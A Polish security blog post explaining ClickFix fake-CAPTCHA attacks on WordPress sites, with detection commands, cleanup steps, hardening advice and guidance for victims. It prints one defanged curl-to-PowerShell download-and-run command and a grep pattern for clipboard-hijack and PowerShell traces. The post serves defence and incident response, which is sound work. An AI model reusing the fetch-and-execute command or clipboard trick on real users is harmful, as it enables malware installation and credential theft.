Bezpieczeństwo

ClickFix i fałszywa CAPTCHA: jak działa atak i jak go usunąć ze strony

ClickFix to atak, w którym fałszywa CAPTCHA („Zweryfikuj, że jesteś człowiekiem”) każe nacisnąć Win+R, wkleić polecenie i zatwierdzić Enterem. Polecenie zostało wcześniej po cichu skopiowane do schowka, więc ofiara sama uruchamia PowerShell, który pobiera złośliwe oprogramowanie, najczęściej infostealera. Żadna prawdziwa CAPTCHA nie wymaga wpisywania czegokolwiek w systemie.

Niedawno usuwaliśmy ClickFix ze strony klienta. Poniżej opisuję, jak ten atak wygląda od strony odwiedzającego i od strony serwera, opierając się na publicznych analizach Microsoftu, CERT Polska, Rapid7 i Sekoia. Jeśli trafiłeś tu, bo już wkleiłeś polecenie, przejdź od razu do ostatniej sekcji.

Jak działa atak ClickFix krok po kroku?

Cały łańcuch opiera się na nawyku klikania w weryfikacje. Technicznie nie ma tu exploita przeglądarki, dlatego same aktualizacje systemu niewiele pomagają.

  1. Wejście na zaufaną stronę. Ofiara otwiera zwykłą witrynę: lokalny portal, sklep, blog firmy. Przestępcy chętnie korzystają z przejętych stron, bo mają ruch i dobrą reputację.
  2. Nakładka „weryfikacji”. Wstrzyknięty JavaScript wyświetla okno podszywające się pod Cloudflare Turnstile lub Google reCAPTCHA. W kampanii opisanej przez Rapid7 w marcu 2026 r. fałszywe okno Cloudflare pokazywało instrukcje w ponad 30 językach.
  3. Podmiana schowka. Kliknięcie „Nie jestem robotem” uruchamia w tle navigator.clipboard.writeText(). Do schowka trafia polecenie, którego użytkownik nie widzi.
  4. Instrukcja dla ofiary. Strona każe nacisnąć Win+R, potem Ctrl+V i Enter. Nowsze warianty kierują do Windows Terminala lub PowerShella (Microsoft opisał taką kampanię pod nazwą TerminalFix), a na macOS do Terminala.
  5. Wykonanie. Polecenie korzysta z wbudowanych narzędzi Windows: powershell, mshta, rundll32, curl. Pobiera kolejny etap i często uruchamia go w pamięci, bez zapisywania pliku na dysku.

Polecenie z incydentu opisanego przez CERT Polska w 2026 r. miało budowę zbliżoną do poniższej. Adres jest zneutralizowany, więc nic się nie uruchomi:

cmd /c curl hxxp://przyklad[.]invalid/sciezka/ | powershell

Do polecenia bywa doklejany komentarz udający kod weryfikacyjny, np. „I am not a robot - reCAPTCHA Verification ID”. Microsoft wymienia takie teksty wśród wskaźników, których szuka w historii okna Uruchom (klucz rejestru RunMRU).

Jak strony zostają zainfekowane fałszywą CAPTCHĄ?

W WordPressie najczęściej spotyka się trzy scenariusze: podatna wtyczka lub motyw, przejęte hasło administratora albo zgadywanie haseł na otwartym panelu wp-admin. Rapid7 nie wskazał jednego wektora w swojej kampanii, ale zwrócił uwagę, że na większości zainfekowanych stron panel logowania był publicznie dostępny.

Powierzchnia ataku jest spora. Według Patchstack w 2025 r. w ekosystemie WordPressa zgłoszono 11 334 nowe podatności, z czego 91% dotyczyło wtyczek. Wstrzyknięcie może siedzieć w kilku miejscach jednocześnie:

Gdzie szukaćJak to zwykle wyglądaNa co zwrócić uwagę
Fałszywa wtyczkaOgólna nazwa sugerująca cache, SEO lub wydajność; kod dołącza skrypt do każdej stronyWtyczki, których nikt nie instalował i których nie ma w repozytorium WordPress.org
Pliki motywuZaciemniony JavaScript w footer.php, header.php lub functions.phpDługie ciągi base64, eval, atob, świeża data modyfikacji
Katalog mu-pluginsPlik PHP ładowany automatycznie, którego nie da się wyłączyć z paneluKażdy plik, którego nie potrafisz przypisać do znanego komponentu
Baza danychSkrypt w widżecie, opcjach motywu lub treści wpisuZnaczniki <script> w tabelach wp_options i wp_posts
Zewnętrzny loaderKrótki skrypt, który pobiera właściwy kod z innej domeny, przez admin-ajax.php albo z blockchainaNieznane domeny w źródle strony, odwołania do węzłów Binance Smart Chain

Ostatni wiersz wymaga komentarza. Rodzina ClearFake, którą Sekoia analizowała w marcu 2025 r., pobiera treść fałszywej CAPTCHY z inteligentnego kontraktu na Binance Smart Chain (technika EtherHiding). Przestępca zmienia przynętę bez dotykania Twojej strony, a zablokowanie jednej domeny nic nie daje. Sekoia znalazła w lutym 2025 r. ponad 9300 stron z tym kodem i oceniała, że realnie może ich być dziesiątki tysięcy.

Kod bywa też selektywny. Rapid7 opisał skrypty, które sprawdzały ciasteczka sesji WordPressa i nie pokazywały nakładki zalogowanym użytkownikom. Dlatego administrator zwykle dowiaduje się o problemie od klientów.

Co instaluje ClickFix na komputerze ofiary?

Według Microsoftu najczęstszym końcowym ładunkiem ClickFix był Lumma Stealer. Obok niego pojawiają się trojany zdalnego dostępu (XWorm, AsyncRAT, NetSupport, SectopRAT), loadery takie jak Latrodectus i MintsLoader oraz nadużywane legalne narzędzia do zdalnej pomocy, np. ScreenConnect. Na macOS kampanie ClickFix dostarczały Atomic macOS Stealer.

Ładunki szybko się zmieniają. W kampanii opisanej przez Rapid7 w 2026 r. były to m.in. Vidar, Impure Stealer i VodkaStealer. Co taki program wyciąga z komputera i jak się po nim sprząta, opisuję we wpisie o infostealerach Lumma, StealC i Vidar.

Skutki nie zawsze kończą się na kradzieży haseł. CERT Polska opisał w lutym 2026 r. incydent w firmie, w którym jedno wklejone polecenie zainstalowało Latrodectus i loader Supper, czyli narzędzia rozpoznania i utrzymania dostępu, które mogą poprzedzać zaszyfrowanie całej sieci. ESET w raporcie za pierwsze półrocze 2025 r. podał, że wykrycia ClickFix wzrosły o ponad 500% względem drugiej połowy 2024 r., a technika odpowiadała za prawie 8% zablokowanych ataków i była drugim wektorem po phishingu.

Jak sprawdzić, czy Twoja strona wyświetla fałszywą CAPTCHĘ?

Zacznij od sygnałów z zewnątrz: klienci piszą o dziwnej weryfikacji, antywirusy blokują stronę, w Search Console pojawia się wpis w raporcie „Problemy dotyczące bezpieczeństwa”. Co zrobić z takim ostrzeżeniem, opisuję w tekście o ostrzeżeniu Google „strona niebezpieczna”.

Potem obejrzyj stronę oczami ofiary: okno prywatne, bez logowania, najlepiej komputer z Windows i inna sieć niż biurowa. Możesz też pobrać kod strony jako anonimowy użytkownik i wypisać ładowane skrypty:

curl -s -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" \
  https://twojadomena.pl/ | grep -oiE '<script[^>]*src=[^>]*>' | sort -u

Szukaj domen, których nie rozpoznajesz. Loader może budować skrypty dynamicznie, więc czysty wynik niczego nie przesądza.

Jeśli masz SSH i WP-CLI, przejdź do katalogu WordPressa i uruchom poniższe polecenia. Żadne z nich niczego nie zmienia, a flagi --skip-plugins --skip-themes sprawiają, że WP-CLI nie wykonuje kodu z potencjalnie zainfekowanych wtyczek i motywu:

# Rdzeń i wtyczki z WordPress.org porównane z oficjalnymi sumami kontrolnymi
wp core verify-checksums
wp plugin verify-checksums --all --skip-plugins --skip-themes

# Administratorzy: szukaj loginów i adresów, których nie znasz
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered --skip-plugins --skip-themes

# Pliki PHP i JS zmienione w ostatnich 14 dniach (GNU find)
find . -type f \( -name "*.php" -o -name "*.js" \) -mtime -14 -printf '%TY-%Tm-%Td %p\n' | sort

# Typowe ślady fałszywej CAPTCHY w plikach
grep -rniE "clipboard\.writeText|mshta|powershell|verify you are human" wp-content/ --include="*.php" --include="*.js"

# To samo w bazie danych
wp db search 'clipboard.writeText' --all-tables-with-prefix --stats --skip-plugins --skip-themes
wp db search 'powershell' --all-tables-with-prefix --stats --skip-plugins --skip-themes

Jak usunąć ClickFix ze strony WordPress?

Najczęstszy błąd to usunięcie widocznego skryptu z footer.php i uznanie sprawy za zamkniętą. Wstrzyknięcie często ma więcej niż jedną kopię, a obok niego leży backdoor, który przywraca je po kilku minutach. Pracuj w tej kolejności:

  1. Zabezpiecz dowody. Kopia plików, zrzut bazy (wp db export), logi serwera WWW i panelu hostingu z ostatnich tygodni.
  2. Odetnij odwiedzających. Włącz przerwę techniczną na poziomie serwera albo zablokuj ruch w WAF. Każda godzina z aktywną nakładką to kolejne potencjalne ofiary.
  3. Zamknij drzwi atakującemu. Usuń nieznane konta administratorów, zmień hasła do WordPressa, panelu hostingu, SFTP i bazy danych, a potem wygeneruj nowe klucze w wp-config.php poleceniem wp config shuffle-salts. To wyloguje wszystkie aktywne sesje.
  4. Wymień rdzeń na czysty. Katalogi wp-admin i wp-includes zastąp świeżą kopią tej samej wersji WordPressa pobraną z wordpress.org.
  5. Przejrzyj wtyczki i motyw. Usuń wszystko, czego nie instalowałeś. Pozostałe wtyczki wgraj ponownie z oficjalnych źródeł, motyw porównaj z oryginałem lub repozytorium Git. Sprawdź wp-content/mu-plugins i pliki PHP w wp-content/uploads, gdzie nie powinno ich być wcale.
  6. Wyczyść bazę. Usuń skrypty z opcji, widżetów i treści znalezione przez wp db search. Rób to ręcznie, wpis po wpisie, bo automatyczne zamiany potrafią uszkodzić zserializowane dane.
  7. Szukaj backdoorów. Web shell w przypadkowym katalogu przywróci infekcję mimo czystego motywu. Jak je rozpoznać, opisuję w tekście o backdoorach i web shellach PHP. Przejrzyj też .htaccess i zaplanowane zadania (wp cron event list).
  8. Wyczyść cache. Wtyczka cache, cache serwera i CDN potrafią dalej serwować zainfekowaną wersję strony.
  9. Sprawdź komputery administratorów. Jeśli przestępca zalogował się prawidłowym hasłem, mogło ono wyciec przez infostealera na czyimś laptopie. Nowe hasło wpisane na takim komputerze wycieknie tak samo.
  10. Zweryfikuj z zewnątrz i obserwuj. Powtórz testy z poprzedniej sekcji, a przez kolejne tygodnie monitoruj zmiany plików. Jeśli Google oznaczył stronę, poproś o ponowne sprawdzenie w Search Console.

Szerszą procedurę na pierwsze minuty po wykryciu włamania znajdziesz w poradniku zainfekowany WordPress: objawy i pierwsza godzina.

Jak zabezpieczyć stronę przed ponowną infekcją?

  • Aktualizuj wtyczki i motywy na bieżąco. Patchstack wylicza, że dla najczęściej atakowanych podatności ważona mediana czasu do pierwszego exploita wynosi 5 godzin.
  • Usuwaj nieużywane wtyczki i motywy. Wyłączona wtyczka nadal leży na serwerze i nadal może mieć podatność.
  • Włącz uwierzytelnianie dwuskładnikowe dla wszystkich kont z uprawnieniami administratora i redaktora.
  • Ogranicz dostęp do wp-admin i xmlrpc.php: lista dozwolonych adresów IP, limit prób logowania, WAF.
  • Dodaj define('DISALLOW_FILE_EDIT', true); w wp-config.php, żeby z panelu nie dało się edytować plików PHP.
  • Monitoruj integralność plików. Nawet codzienny wp core verify-checksums w cronie z powiadomieniem mailowym wyłapie część zmian.
  • Trzymaj kopie zapasowe poza serwerem i sprawdzaj, czy da się z nich odtworzyć stronę.

Pełną listę znajdziesz w checkliście zabezpieczenia WordPressa.

Po stronie firmy, której pracownicy mogą trafić na taką stronę, Microsoft zaleca m.in. wyłączenie okna Uruchom zasadą grupy (User Configuration > Administrative Templates > Start Menu and Taskbar > Remove Run menu from Start Menu), logowanie bloków skryptów PowerShell i reguły ASR blokujące zaciemnione skrypty. Takie wdrożenia razem z monitoringiem stacji roboczych realizujemy w ramach usług bezpieczeństwa.

Wkleiłem polecenie z fałszywej CAPTCHY. Co teraz?

Załóż, że komputer jest przejęty, a hasła zapisane w przeglądarce są już u przestępcy. Infostealer nie musi zostawać w systemie długo, żeby wysłać dane, więc liczy się kolejność działań, a nie to, czy antywirus coś pokazał.

  1. Odłącz komputer od sieci (Wi-Fi i kabel). Jeśli to sprzęt służbowy, nie wyłączaj go bez konsultacji z działem IT, który może chcieć go zbadać.
  2. Nie loguj się na nim do niczego. Każde nowe hasło wpisane na zainfekowanym urządzeniu może zostać przechwycone.
  3. Z innego, czystego urządzenia zmień hasła: najpierw poczta e-mail, potem menedżer haseł, bank, konta firmowe, media społecznościowe.
  4. Wyloguj wszystkie sesje w ustawieniach kont Google, Microsoft, Facebook i innych. Skradzione ciasteczka sesyjne pozwalają wejść na konto bez hasła i bez kodu 2FA.
  5. Portfele kryptowalut traktuj jako spalone: przenieś środki do nowego portfela utworzonego na czystym urządzeniu.
  6. Zgłoś incydent: w pracy do działu IT, prywatnie do CERT Polska przez incydent.cert.pl. Przy utracie pieniędzy zawiadom bank i policję.
  7. Przeinstaluj system albo oddaj komputer do analizy. Po infekcji trojanem zdalnego dostępu lub loaderem samo skanowanie antywirusem nie daje pewności.

Jeśli chcesz sprawdzić, co dokładnie zostało uruchomione, historia okna Uruchom jest zapisana w rejestrze. To polecenie tylko ją odczytuje:

Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU'

Przy wariantach z terminalem zajrzyj do historii PowerShella; ścieżkę do pliku zwraca (Get-PSReadLineOption).HistorySavePath. Zapisz te informacje dla osoby, która będzie analizować incydent, i nie otwieraj adresów, które tam znajdziesz. Nie wklejaj ich też na forach, bo często prowadzą do aktywnej infrastruktury przestępców.

Najczęściej zadawane pytania

Czy prawdziwa CAPTCHA może kazać nacisnąć Win+R?

Nie. Google reCAPTCHA i Cloudflare Turnstile działają w całości w przeglądarce i nigdy nie proszą o otwieranie okna Uruchom, PowerShella ani Terminala. Każda instrukcja z kombinacją klawiszy i wklejaniem tekstu w systemie oznacza oszustwo.

Czy samo wejście na stronę z fałszywą CAPTCHĄ infekuje komputer?

W typowym scenariuszu ClickFix nie. Infekcja następuje dopiero wtedy, gdy użytkownik wklei i uruchomi skopiowane polecenie. Zamknij kartę, a jeśli schowek mógł zostać nadpisany, skopiuj dowolny inny tekst, żeby przypadkiem go nie wkleić.

Dlaczego nie widzę fałszywej CAPTCHY na swojej stronie, choć klienci ją zgłaszają?

Wstrzyknięty kod często filtruje odwiedzających. Pomija zalogowanych użytkowników WordPressa, osoby, które już widziały nakładkę, a czasem wybrane systemy lub kraje. Sprawdzaj stronę w oknie prywatnym, bez logowania, z innej sieci i z komputera z Windows.

Czy ClickFix atakuje tylko Windows?

Nie. Microsoft opisał kampanie ClickFix na macOS, w których ofiara wklejała polecenie do Terminala i instalowała Atomic macOS Stealer. ESET wskazuje, że technika dotyczy Windows, macOS i Linuksa.

Czy antywirus ochroni przed ClickFix?

Częściowo. Microsoft Defender ma dedykowane wykrycia ClickFix, ale przestępcy stale zaciemniają polecenia i zmieniają ładunki. Skuteczniejsze jest połączenie ochrony stacji, blokady okna Uruchom dla zwykłych użytkowników i edukacji zespołu.

Źródła